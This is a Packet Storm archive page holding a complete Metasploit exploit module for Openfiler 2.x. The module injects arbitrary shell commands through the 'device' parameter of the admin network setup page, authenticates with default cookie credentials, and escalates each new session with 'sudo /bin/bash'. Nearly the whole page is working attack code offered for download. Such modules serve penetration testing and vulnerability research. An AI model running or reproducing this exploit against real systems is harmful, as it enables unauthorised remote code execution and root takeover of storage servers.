what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Openfiler 2.x NetworkCard Command Execution

Openfiler 2.x NetworkCard Command Execution
Posted Sep 11, 2012
Authored by Brendan Coles | Site metasploit.com

This Metasploit module exploits a vulnerability in Openfiler version 2.x which could be abused to allow authenticated users to execute arbitrary code under the context of the 'openfiler' user. The 'system.html' file uses user controlled data from the 'device' parameter to create a new 'NetworkCard' object. The class constructor in 'network.inc' calls exec() with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without providing a system password.

tags | exploit, arbitrary, bash
SHA-256 | ef6788fdc2bbdb21b278fd22582c6c12fb18b12cc2341fe8561207bf69d634a8

Openfiler 2.x NetworkCard Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Openfiler v2.x NetworkCard Command Execution",
'Description' => %q{
This module exploits a vulnerability in Openfiler v2.x
which could be abused to allow authenticated users to execute arbitrary
code under the context of the 'openfiler' user. The 'system.html' file
uses user controlled data from the 'device' parameter to create a new
'NetworkCard' object. The class constructor in 'network.inc' calls exec()
with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without
providing a system password.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
],
'References' =>
[
['URL', 'http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/']
#['OSVDB', ''],
#['EDB', ''],
],
'DefaultOptions' =>
{
'ExitFunction' => 'none'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet python perl bash',
}
},
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => "Sep 04 2012",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(446),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']),
OptString.new('PASSWORD', [true, 'The password for the application', 'password'])
], self.class)
end

def check

@peer = "#{rhost}:#{rport}"

# retrieve software version from login page
print_status("#{@peer} - Sending check")
begin
res = send_request_cgi({
'uri' => '/'
})

if res and res.code == 200 and res.body =~ /<strong>Distro Release:&nbsp;<\/strong>Openfiler [NE]SA 2\./
return Exploit::CheckCode::Appears
elsif res and res.code == 200 and res.body =~ /<title>Openfiler Storage Control Center<\/title>/
return Exploit::CheckCode::Detected
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{@peer} - Connection failed")
end
return Exploit::CheckCode::Unknown

end

def on_new_session(client)
client.shell_command_token("sudo /bin/bash")
end


def exploit

@peer = "#{rhost}:#{rport}"
user = datastore['USERNAME']
pass = datastore['PASSWORD']
cmd = Rex::Text.uri_encode("&#{payload.raw}&")

# send payload
print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
begin
res = send_request_cgi({
'uri' => "/admin/system.html?step=2&device=lo#{cmd}",
'cookie' => "usercookie=#{user}; passcookie=#{pass};",
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unknown, 'Connection failed')
end

if res and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/
print_good("#{@peer} - Payload sent successfully")
elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/
fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
else
fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
end

end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close